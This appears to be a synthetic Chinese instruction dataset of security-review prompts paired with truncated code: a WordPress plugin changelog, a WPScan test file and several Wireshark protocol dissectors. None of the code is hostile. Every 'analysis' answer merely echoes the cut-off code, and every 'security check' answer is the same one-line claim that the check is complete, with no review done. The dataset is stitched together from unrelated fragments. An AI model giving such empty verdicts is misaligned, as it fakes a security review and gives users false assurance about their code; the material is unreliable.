    * Fix: Check that `is_block_editor()` exists before using it, preventing an error when attempting to edit pages in WP older than 5.0
* New: Add changelog for v3.9 to CHANGELOG.md

## 3.9 _(2019-03-08)_
* Fix: Default 'this_post' shortcode attribute to 1 instead of 0, since unlike widgets, shortcodes generally appear within the context of a post
* Fix: Call `wpdb::prepare()` with the proper number of arguments depending on context
* Change: Update shortcode builder widget to 005:
    * Don't show shortcode builder metabox within context of block editor
    * Add `show_metabox()`
* Change: Update widget to 012:
    * Directly load textdomain instead of hooking it to already-fired action
* New: Add README.md
* New: Add CHANGELOG.md and move all but most recent changelog entries into it
* Change: Update docs to reflect that shortcode builder is not compatible with block editor yet
* Change: Use different markdown formatting for shortcode name to avoid capitalization when displayed in Plugin Directory
* Change: Add GitHub link to readme
* Change: Unit tests: Minor whitespace tweaks to bootstrap
* Change: Note compatibility through WP 5.1+
* Change: Update copyright date (2019)
* Change: Update License URI to be HTTPS

## 3.8 _(2017-03-14)_
* New: Add support for percent-substitution tags
    * Tags can be used in before and/or after text and will be replaced on display with the custom field text
    * Add '%field%' to display custom field name
    * Add '%value%' to display custom field value
    * Add `c2c__gcfv_do_substitutions()` to handle the substitutions
* Fix: Properly handle serialized meta values
* Fix: Properly sanitize field name prior so use as part of a hook name
* Fix: Add missing textdomain for string in shortcode widget
* Change: Update widget to 011:
    * Add `register_widget()` and change to calling it when hooking 'admin_init'
    * Load textdomain
    * Add mor...


Instruction: 检查这段代码是否存在安全问题

Input:
# ChangeLog

## 3.9.1 _(2019-03-15)_
* Change: Update shortcode builder widget to 006:
    * Fix: Check that `is_block_editor()` exists before using it, preventing an error when attempting to edit pages in WP older than 5.0
* New: Add changelog for v3.9 to CHANGELOG.md

## 3.9 _(2019-03-08)_
* Fix: Default 'this_post' shortcode attribute to 1 instead of 0, since unlike widgets, shortcodes generally appear within the context of a post
* Fix: Call `wpdb::prepare()` with the proper number of arguments depending on context
* Change: Update shortcode builder widget to 005:
    * Don't show shortcode builder metabox within context of block editor
    * Add `show_metabox()`
* Change: Update widget to 012:
    * Directly load textdomain instead of hooking it to already-fired action
* New: Add README.md
* New: Add CHANGELOG.md and move all but most recent changelog entries into it
* Change: Update docs to reflect that shortcode builder is not compatible with block editor yet
* Change: Use different markdown formatting for shortcode name to avoid capitalization when displayed in Plugin Directory
* Change: Add GitHub link to readme
* Change: Unit tests: Minor whitespace tweaks to bootstrap
* Change: Note compatibility through WP 5.1+
* Change: Update copyright date (2019)
* Change: Update License URI to be HTTPS

## 3.8 _(2017-03-14)_
* New: Add support for percent-substitution tags
    * Tags can be used in before and/or after text and will be replaced on display with the custom field text
    * Add '%field%' to display custom field name
    * Add '%value%' to display custom field value
    * Add `c2c__gcfv_do_substitutions()` to handle the substitutions
* Fix: Properly handle serialized meta values
* Fix: Properly sanitize field name prior so use as part of a hook name
* Fix: Add missing textdomain for string in shortcode widget
* Change: Update widget to 011:
    * Add `register_widget()` and change to calling it when hooking 'admin_init'
    * Load textdomain
    * Add mor...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# frozen_string_literal: true

# All Plugin Dynamic Finders returning a Version are tested here.
# When adding one to the spec/fixtures/db/dynamic_finder.yml, a few files have
# to be edited/created
#
# - spec/fixtures/dynamic_finder/expected.yml with the expected result/s
# - Then, depending on the finder class used: spec/fixtures/dynamic_finder/plugin_version/
#
# Furthermore, the fixtures files _passive_all.html are also used by plugins/themes
# finders in spec/app/finders/plugins|themes to check the items existence from the homepage
#
# In case of a failure, it's recommended to use rspec -e "<Full Description>" while fixing.
# e.g: rspec -e "WPScan::Finders::PluginVersion::Cardealerpress::HeaderPattern#passive"
# The -e option can also be used to test all HeaderPattern, for example: rspec -e "::HeaderPattern"

expected_all = df_expected_all['plugins']

WPScan::DB::DynamicFinders::Plugin.versions_finders_configs.each do |slug, configs|
  WPScan::DB::DynamicFinders::Plugin.create_versions_finders(slug)

  configs.each do |finder_class, config|
    finder_super_class = config['class'] || finder_class

    # The QueryParameter specs are slow given the huge fixture file
    # If someone find a fix for that, please share!
    describe df_tested_class_constant('PluginVersion', finder_class, slug), slow: true do
      subject(:finder) { described_class.new(plugin) }
      let(:plugin)     { WPScan::Model::Plugin.new(slug, target) }
      let(:target)     { WPScan::Target.new('http://wp.lab/') }
      let(:fixtures)   { DYNAMIC_FINDERS_FIXTURES.join('plugin_version') }

      let(:expected) do
        if expected_all[slug][finder_class].is_a?(Hash)
          [expected_all[slug][finder_class]]
        else
          expected_all[slug][finder_class]
        end
      end

      before { allow(target).to receive(:content_dir).and_return('wp-content') }

      describe '#passive', slow: true do
        before do
          if defined?(stubbed_homepage_res)
            stub_re...


Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

# All Plugin Dynamic Finders returning a Version are tested here.
# When adding one to the spec/fixtures/db/dynamic_finder.yml, a few files have
# to be edited/created
#
# - spec/fixtures/dynamic_finder/expected.yml with the expected result/s
# - Then, depending on the finder class used: spec/fixtures/dynamic_finder/plugin_version/
#
# Furthermore, the fixtures files _passive_all.html are also used by plugins/themes
# finders in spec/app/finders/plugins|themes to check the items existence from the homepage
#
# In case of a failure, it's recommended to use rspec -e "<Full Description>" while fixing.
# e.g: rspec -e "WPScan::Finders::PluginVersion::Cardealerpress::HeaderPattern#passive"
# The -e option can also be used to test all HeaderPattern, for example: rspec -e "::HeaderPattern"

expected_all = df_expected_all['plugins']

WPScan::DB::DynamicFinders::Plugin.versions_finders_configs.each do |slug, configs|
  WPScan::DB::DynamicFinders::Plugin.create_versions_finders(slug)

  configs.each do |finder_class, config|
    finder_super_class = config['class'] || finder_class

    # The QueryParameter specs are slow given the huge fixture file
    # If someone find a fix for that, please share!
    describe df_tested_class_constant('PluginVersion', finder_class, slug), slow: true do
      subject(:finder) { described_class.new(plugin) }
      let(:plugin)     { WPScan::Model::Plugin.new(slug, target) }
      let(:target)     { WPScan::Target.new('http://wp.lab/') }
      let(:fixtures)   { DYNAMIC_FINDERS_FIXTURES.join('plugin_version') }

      let(:expected) do
        if expected_all[slug][finder_class].is_a?(Hash)
          [expected_all[slug][finder_class]]
        else
          expected_all[slug][finder_class]
        end
      end

      before { allow(target).to receive(:content_dir).and_return('wp-content') }

      describe '#passive', slow: true do
        before do
          if defined?(stubbed_homepage_res)
            stub_re...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-resp.c
 * Routines for Redis Client/Server RESP (REdis Serialization Protocol) v2 as
 * documented by https://redis.io/topics/protocol
 *
 * Copyright 2022 Ryan Doyle <ryan <AT> doylenet dot net>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"
#include "packet-tcp.h"

#include <epan/packet.h>
#include <epan/expert.h>

#define RESP_PORT 6379
#define CRLF_LENGTH 2
#define RESP_TOKEN_PREFIX_LENGTH 1
#define MAX_ARRAY_DEPTH_TO_RECURSE 30
#define BULK_STRING_MAX_DISPLAY 100
#define RESP_NULL_STRING (-1)
#define RESP_NULL_ARRAY (-1)
#define RESP_REQUEST(pinfo) ((pinfo)->match_uint == (pinfo)->destport)
#define RESP_RESPONSE(pinfo) ((pinfo)->match_uint == (pinfo)->srcport)
#define DESEGMENT_ENABLED(pinfo) ((pinfo)->can_desegment && resp_desegment)

static dissector_handle_t resp_handle;
static gboolean resp_desegment = TRUE;

static int proto_resp = -1;

static gint ett_resp = -1;
static gint ett_resp_bulk_string = -1;
static gint ett_resp_array = -1;

static expert_field ei_resp_partial = EI_INIT;
static expert_field ei_resp_malformed_length = EI_INIT;
static expert_field ei_resp_array_recursion_too_deep = EI_INIT;
static expert_field ei_resp_reassembled_in_next_frame = EI_INIT;

static int hf_resp_string = -1;
static int hf_resp_error = -1;
static int hf_resp_bulk_string = -1;
static int hf_resp_bulk_string_length = -1;
static int hf_resp_bulk_string_value = -1;
static int hf_resp_integer = -1;
static int hf_resp_array = -1;
static int hf_resp_array_length = -1;
static int hf_resp_fragment = -1;

static int dissect_resp_loop(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, gint offset, gint array_depth, gint64 expected_elements);
static void resp_bulk_string_enhance_colinfo_ascii(packet_info *pinfo, gint array_depth, gint bulk_string_length, const guint8 *bulk_string_as_str);
void proto_reg_handoff_resp(void);
void prot...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-resp.c
 * Routines for Redis Client/Server RESP (REdis Serialization Protocol) v2 as
 * documented by https://redis.io/topics/protocol
 *
 * Copyright 2022 Ryan Doyle <ryan <AT> doylenet dot net>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"
#include "packet-tcp.h"

#include <epan/packet.h>
#include <epan/expert.h>

#define RESP_PORT 6379
#define CRLF_LENGTH 2
#define RESP_TOKEN_PREFIX_LENGTH 1
#define MAX_ARRAY_DEPTH_TO_RECURSE 30
#define BULK_STRING_MAX_DISPLAY 100
#define RESP_NULL_STRING (-1)
#define RESP_NULL_ARRAY (-1)
#define RESP_REQUEST(pinfo) ((pinfo)->match_uint == (pinfo)->destport)
#define RESP_RESPONSE(pinfo) ((pinfo)->match_uint == (pinfo)->srcport)
#define DESEGMENT_ENABLED(pinfo) ((pinfo)->can_desegment && resp_desegment)

static dissector_handle_t resp_handle;
static gboolean resp_desegment = TRUE;

static int proto_resp = -1;

static gint ett_resp = -1;
static gint ett_resp_bulk_string = -1;
static gint ett_resp_array = -1;

static expert_field ei_resp_partial = EI_INIT;
static expert_field ei_resp_malformed_length = EI_INIT;
static expert_field ei_resp_array_recursion_too_deep = EI_INIT;
static expert_field ei_resp_reassembled_in_next_frame = EI_INIT;

static int hf_resp_string = -1;
static int hf_resp_error = -1;
static int hf_resp_bulk_string = -1;
static int hf_resp_bulk_string_length = -1;
static int hf_resp_bulk_string_value = -1;
static int hf_resp_integer = -1;
static int hf_resp_array = -1;
static int hf_resp_array_length = -1;
static int hf_resp_fragment = -1;

static int dissect_resp_loop(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, gint offset, gint array_depth, gint64 expected_elements);
static void resp_bulk_string_enhance_colinfo_ascii(packet_info *pinfo, gint array_depth, gint bulk_string_length, const guint8 *bulk_string_as_str);
void proto_reg_handoff_resp(void);
void prot...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-ntp.c
 * Routines for NTP packet dissection
 * Copyright 1999, Nathan Neulinger <nneul@umr.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-tftp.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <math.h>

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/addr_resolv.h>
#include <epan/tvbparse.h>
#include <epan/conversation.h>

#include <wsutil/epochs.h>

#include "packet-ntp.h"

void proto_register_ntp(void);
void proto_reg_handoff_ntp(void);

static dissector_handle_t ntp_handle;

/*
 * Dissecting NTP packets version 3 and 4 (RFC5905, RFC2030, RFC1769, RFC1361,
 * RFC1305).
 *
 * Those packets have simple structure:
 *                      1                   2                   3
 *  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                          Root Delay                           |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                       Root Dispersion                         |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                    Reference Identifier                       |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                   Reference Timestamp (64)                    |
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                   Originate Timestamp (64)                    |
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                    Receive Timestamp (64)   ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-ntp.c
 * Routines for NTP packet dissection
 * Copyright 1999, Nathan Neulinger <nneul@umr.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-tftp.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <math.h>

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/addr_resolv.h>
#include <epan/tvbparse.h>
#include <epan/conversation.h>

#include <wsutil/epochs.h>

#include "packet-ntp.h"

void proto_register_ntp(void);
void proto_reg_handoff_ntp(void);

static dissector_handle_t ntp_handle;

/*
 * Dissecting NTP packets version 3 and 4 (RFC5905, RFC2030, RFC1769, RFC1361,
 * RFC1305).
 *
 * Those packets have simple structure:
 *                      1                   2                   3
 *  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |LI | VN  |Mode |    Stratum    |     Poll      |   Precision   |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                          Root Delay                           |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                       Root Dispersion                         |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                    Reference Identifier                       |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                   Reference Timestamp (64)                    |
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                   Originate Timestamp (64)                    |
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                    Receive Timestamp (64)   ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-f1ap.c
 * Routines for E-UTRAN F1 Application Protocol (F1AP) packet dissection
 * Copyright 2018-2023, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: 3GPP TS 38.473 V17.5.0 (2023-06)
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include <epan/sctpppids.h>
#include <epan/proto_data.h>
#include <epan/stats_tree.h>

#include "packet-per.h"
#include "packet-f1ap.h"
#include "packet-x2ap.h"
#include "packet-nr-rrc.h"
#include "packet-e212.h"
#include "packet-pdcp-nr.h"
#include "packet-lte-rrc.h"
#include "packet-nrppa.h"

#define PNAME  "F1 Application Protocol"
#define PSNAME "F1AP"
#define PFNAME "f1ap"

#define SCTP_PORT_F1AP 38472

void proto_register_f1ap(void);
void proto_reg_handoff_f1ap(void);

#include "packet-f1ap-val.h"

/* Initialize the protocol and registered fields */
static int proto_f1ap = -1;

static int hf_f1ap_transportLayerAddressIPv4 = -1;
static int hf_f1ap_transportLayerAddressIPv6 = -1;
static int hf_f1ap_IABTNLAddressIPv4 = -1;
static int hf_f1ap_IABTNLAddressIPv6 = -1;
static int hf_f1ap_IABTNLAddressIPv6Prefix = -1;
static int hf_f1ap_interfacesToTrace_NG_C = -1;
static int hf_f1ap_interfacesToTrace_Xn_C = -1;
static int hf_f1ap_interfacesToTrace_Uu = -1;
static int hf_f1ap_interfacesToTrace_F1_C = -1;
static int hf_f1ap_interfacesToTrace_E1 = -1;
static int hf_f1ap_interfacesToTrace_Reserved = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved1 = -1;
static int hf_f1ap_MeasurementsToActivate_M2 = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved2 = -1;
static int hf_f1ap_MeasurementsToActivate_M5 = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved3 = -1;
static int hf_f1ap_MeasurementsToActivate_M6 = -1;
static int hf_f1ap_MeasurementsToActivate_M7 = -1;
static int hf_f1ap_ReportCharacteristics_PRBPeriodic = -1;
stati...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-f1ap.c
 * Routines for E-UTRAN F1 Application Protocol (F1AP) packet dissection
 * Copyright 2018-2023, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: 3GPP TS 38.473 V17.5.0 (2023-06)
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include <epan/sctpppids.h>
#include <epan/proto_data.h>
#include <epan/stats_tree.h>

#include "packet-per.h"
#include "packet-f1ap.h"
#include "packet-x2ap.h"
#include "packet-nr-rrc.h"
#include "packet-e212.h"
#include "packet-pdcp-nr.h"
#include "packet-lte-rrc.h"
#include "packet-nrppa.h"

#define PNAME  "F1 Application Protocol"
#define PSNAME "F1AP"
#define PFNAME "f1ap"

#define SCTP_PORT_F1AP 38472

void proto_register_f1ap(void);
void proto_reg_handoff_f1ap(void);

#include "packet-f1ap-val.h"

/* Initialize the protocol and registered fields */
static int proto_f1ap = -1;

static int hf_f1ap_transportLayerAddressIPv4 = -1;
static int hf_f1ap_transportLayerAddressIPv6 = -1;
static int hf_f1ap_IABTNLAddressIPv4 = -1;
static int hf_f1ap_IABTNLAddressIPv6 = -1;
static int hf_f1ap_IABTNLAddressIPv6Prefix = -1;
static int hf_f1ap_interfacesToTrace_NG_C = -1;
static int hf_f1ap_interfacesToTrace_Xn_C = -1;
static int hf_f1ap_interfacesToTrace_Uu = -1;
static int hf_f1ap_interfacesToTrace_F1_C = -1;
static int hf_f1ap_interfacesToTrace_E1 = -1;
static int hf_f1ap_interfacesToTrace_Reserved = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved1 = -1;
static int hf_f1ap_MeasurementsToActivate_M2 = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved2 = -1;
static int hf_f1ap_MeasurementsToActivate_M5 = -1;
static int hf_f1ap_MeasurementsToActivate_Reserved3 = -1;
static int hf_f1ap_MeasurementsToActivate_M6 = -1;
static int hf_f1ap_MeasurementsToActivate_M7 = -1;
static int hf_f1ap_ReportCharacteristics_PRBPeriodic = -1;
stati...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* wimax_phy_attributes_decoder.c
 * WiMax PDU Burst Physical Attributes decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Lu Pan <lu.pan@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include "wimax-int.h"

extern gint proto_wimax;

static gint proto_wimax_phy_attributes_decoder = -1;
static gint ett_wimax_phy_attributes_decoder = -1;

static const value_string vals_subchannel_types[] =
{
	{ 0, "DL PUSC"},
	{ 1, "DL FUSC"},
	{16, "UL PUSC"},
	{0, NULL}
};

static const value_string vals_modulation_rates[] =
{
	{0, "BPSK R=1/2"},
	{1, "QPSK R=1/2"},
	{2, "QPSK R=3/4"},
	{3, "16-QAM R=1/2"},
	{4, "16-QAM R=3/4"},
	{5, "64-QAM R=1/2"},
	{6, "64-QAM R=2/3"},
	{7, "64-QAM R=3/4"},
	{8, "64-QAM R=5/6"},
	{0, NULL}
};

static const value_string vals_encoding_types[] =
{
	{0, "Tail biting convolutional coding (CCTB)"},
	{1, "Convolutional turbo coding (CTC)"},
	{0, NULL}
};

static gint hf_phy_attributes_subchannelization_type = -1;
static gint hf_phy_attributes_permbase = -1;
static gint hf_phy_attributes_modulation_rate = -1;
static gint hf_phy_attributes_encoding_type = -1;
static gint hf_phy_attributes_num_repeat = -1;
static gint hf_phy_attributes_symbol_offset = -1;
static gint hf_phy_attributes_num_of_slots = -1;
static gint hf_phy_attributes_subchannel = -1;

static int dissect_wimax_phy_attributes_decoder(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	guint offset = 0;
	guint tvb_len;
/*	guint num_of_slots;*/
	proto_item *phy_item = NULL;
	proto_tree *phy_tree = NULL;

	/* update the info column */
	/*col_append_str(pinfo->cinfo, COL_INFO, "PDU Burst Physical Attributes:");*/
	col_append_sep_str(pinfo->cinfo, COL_INFO, NULL, "PHY-attr");
	if (tree)
	{	/* we are being asked for details */
		/* get the tvb reported length *...


Instruction: 检查这段代码是否存在安全问题

Input:
/* wimax_phy_attributes_decoder.c
 * WiMax PDU Burst Physical Attributes decoder
 *
 * Copyright (c) 2007 by Intel Corporation.
 *
 * Author: Lu Pan <lu.pan@intel.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1999 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* Include files */

#include "config.h"

#include <epan/packet.h>
#include "wimax-int.h"

extern gint proto_wimax;

static gint proto_wimax_phy_attributes_decoder = -1;
static gint ett_wimax_phy_attributes_decoder = -1;

static const value_string vals_subchannel_types[] =
{
	{ 0, "DL PUSC"},
	{ 1, "DL FUSC"},
	{16, "UL PUSC"},
	{0, NULL}
};

static const value_string vals_modulation_rates[] =
{
	{0, "BPSK R=1/2"},
	{1, "QPSK R=1/2"},
	{2, "QPSK R=3/4"},
	{3, "16-QAM R=1/2"},
	{4, "16-QAM R=3/4"},
	{5, "64-QAM R=1/2"},
	{6, "64-QAM R=2/3"},
	{7, "64-QAM R=3/4"},
	{8, "64-QAM R=5/6"},
	{0, NULL}
};

static const value_string vals_encoding_types[] =
{
	{0, "Tail biting convolutional coding (CCTB)"},
	{1, "Convolutional turbo coding (CTC)"},
	{0, NULL}
};

static gint hf_phy_attributes_subchannelization_type = -1;
static gint hf_phy_attributes_permbase = -1;
static gint hf_phy_attributes_modulation_rate = -1;
static gint hf_phy_attributes_encoding_type = -1;
static gint hf_phy_attributes_num_repeat = -1;
static gint hf_phy_attributes_symbol_offset = -1;
static gint hf_phy_attributes_num_of_slots = -1;
static gint hf_phy_attributes_subchannel = -1;

static int dissect_wimax_phy_attributes_decoder(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	guint offset = 0;
	guint tvb_len;
/*	guint num_of_slots;*/
	proto_item *phy_item = NULL;
	proto_tree *phy_tree = NULL;

	/* update the info column */
	/*col_append_str(pinfo->cinfo, COL_INFO, "PDU Burst Physical Attributes:");*/
	col_append_sep_str(pinfo->cinfo, COL_INFO, NULL, "PHY-attr");
	if (tree)
	{	/* we are being asked for details */
		/* get the tvb reported length *...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-pcapng.c
 * Dissector to handle pcapng file-type-specific blocks.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <wiretap/wtap.h>

void proto_register_pcapng_block(void);
void proto_reg_handoff_pcapng_block(void);

static int proto_pcapng_block = -1;

static dissector_table_t pcapng_block_type_dissector_table;

static int
dissect_pcapng_block(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	/*
	 * Call the dissector for the block type of this block, if there
	 * is one.
	 */
	if (!dissector_try_uint(pcapng_block_type_dissector_table,
	    pinfo->rec->rec_header.ft_specific_header.record_type, tvb, pinfo, tree)) {
		/*
		 * There isn't one; just do a minimal display.
		 */
		col_set_str(pinfo->cinfo, COL_PROTOCOL, "PCAPNG");
		col_add_fstr(pinfo->cinfo, COL_INFO, "Pcapng block, type %u",
		    pinfo->rec->rec_header.ft_specific_header.record_type);

		proto_tree_add_item(tree, proto_pcapng_block, tvb, 0, -1, ENC_NA);
	}
	return tvb_captured_length(tvb);
}

void proto_register_pcapng_block(void)
{
	proto_pcapng_block = proto_register_protocol("Pcapng block",
	    "PCAPNG", "pcapng");
	pcapng_block_type_dissector_table = register_dissector_table("pcapng.block_type",
	    "pcapng block type", proto_pcapng_block, FT_UINT32, BASE_DEC);
}

void
proto_reg_handoff_pcapng_block(void)
{
	dissector_handle_t pcapng_block_handle;

	pcapng_block_handle = create_dissector_handle(dissect_pcapng_block,
	    proto_pcapng_block);
	dissector_add_uint("wtap_fts_rec", wtap_pcapng_file_type_subtype(),
	    pcapng_block_handle);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local variables:
 * c-basic-offset: 8
 * tab-width: 8
 * indent-tabs-mode: t
 * End:
 *
 * vi: set shiftwidth=8 tabstop=8 noexpandtab:
 * :indentSize=8:tabSize=8:noTabs=false:
...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-pcapng.c
 * Dissector to handle pcapng file-type-specific blocks.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include <wiretap/wtap.h>

void proto_register_pcapng_block(void);
void proto_reg_handoff_pcapng_block(void);

static int proto_pcapng_block = -1;

static dissector_table_t pcapng_block_type_dissector_table;

static int
dissect_pcapng_block(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
	/*
	 * Call the dissector for the block type of this block, if there
	 * is one.
	 */
	if (!dissector_try_uint(pcapng_block_type_dissector_table,
	    pinfo->rec->rec_header.ft_specific_header.record_type, tvb, pinfo, tree)) {
		/*
		 * There isn't one; just do a minimal display.
		 */
		col_set_str(pinfo->cinfo, COL_PROTOCOL, "PCAPNG");
		col_add_fstr(pinfo->cinfo, COL_INFO, "Pcapng block, type %u",
		    pinfo->rec->rec_header.ft_specific_header.record_type);

		proto_tree_add_item(tree, proto_pcapng_block, tvb, 0, -1, ENC_NA);
	}
	return tvb_captured_length(tvb);
}

void proto_register_pcapng_block(void)
{
	proto_pcapng_block = proto_register_protocol("Pcapng block",
	    "PCAPNG", "pcapng");
	pcapng_block_type_dissector_table = register_dissector_table("pcapng.block_type",
	    "pcapng block type", proto_pcapng_block, FT_UINT32, BASE_DEC);
}

void
proto_reg_handoff_pcapng_block(void)
{
	dissector_handle_t pcapng_block_handle;

	pcapng_block_handle = create_dissector_handle(dissect_pcapng_block,
	    proto_pcapng_block);
	dissector_add_uint("wtap_fts_rec", wtap_pcapng_file_type_subtype(),
	    pcapng_block_handle);
}

/*
 * Editor modelines  -  https://www.wireshark.org/tools/modelines.html
 *
 * Local variables:
 * c-basic-offset: 8
 * tab-width: 8
 * indent-tabs-mode: t
 * End:
 *
 * vi: set shiftwidth=8 tabstop=8 noexpandtab:
 * :indentSize=8:tabSize=8:noTabs=false:
...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-moldudp64.c
 * Routines for MoldUDP64 dissection
 * Copyright 2012, Evan Huus <eapache@gmail.com>
 *
 * http://www.nasdaqtrader.com/content/technicalsupport/specifications/dataproducts/moldudp64.pdf
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/decode_as.h>

void proto_register_moldudp64(void);
void proto_reg_handoff_moldudp64(void);

static dissector_handle_t moldudp64_handle;

/* Initialize the protocol and registered fields */
static int proto_moldudp64       = -1;
static int hf_moldudp64_session  = -1;
static int hf_moldudp64_sequence = -1;
static int hf_moldudp64_count    = -1;
static int hf_moldudp64_msgblk   = -1;
static int hf_moldudp64_msglen   = -1;
static int hf_moldudp64_msgseq   = -1;
static int hf_moldudp64_msgdata  = -1;

#define MOLDUDP64_SESSION_LEN  10
#define MOLDUDP64_SEQUENCE_LEN  8
#define MOLDUDP64_COUNT_LEN     2
#define MOLDUDP64_MSGLEN_LEN    2

#define MOLDUDP64_HEARTBEAT 0x0000
#define MOLDUDP64_ENDOFSESS 0xFFFF

/* Initialize the subtree pointers */
static gint ett_moldudp64        = -1;
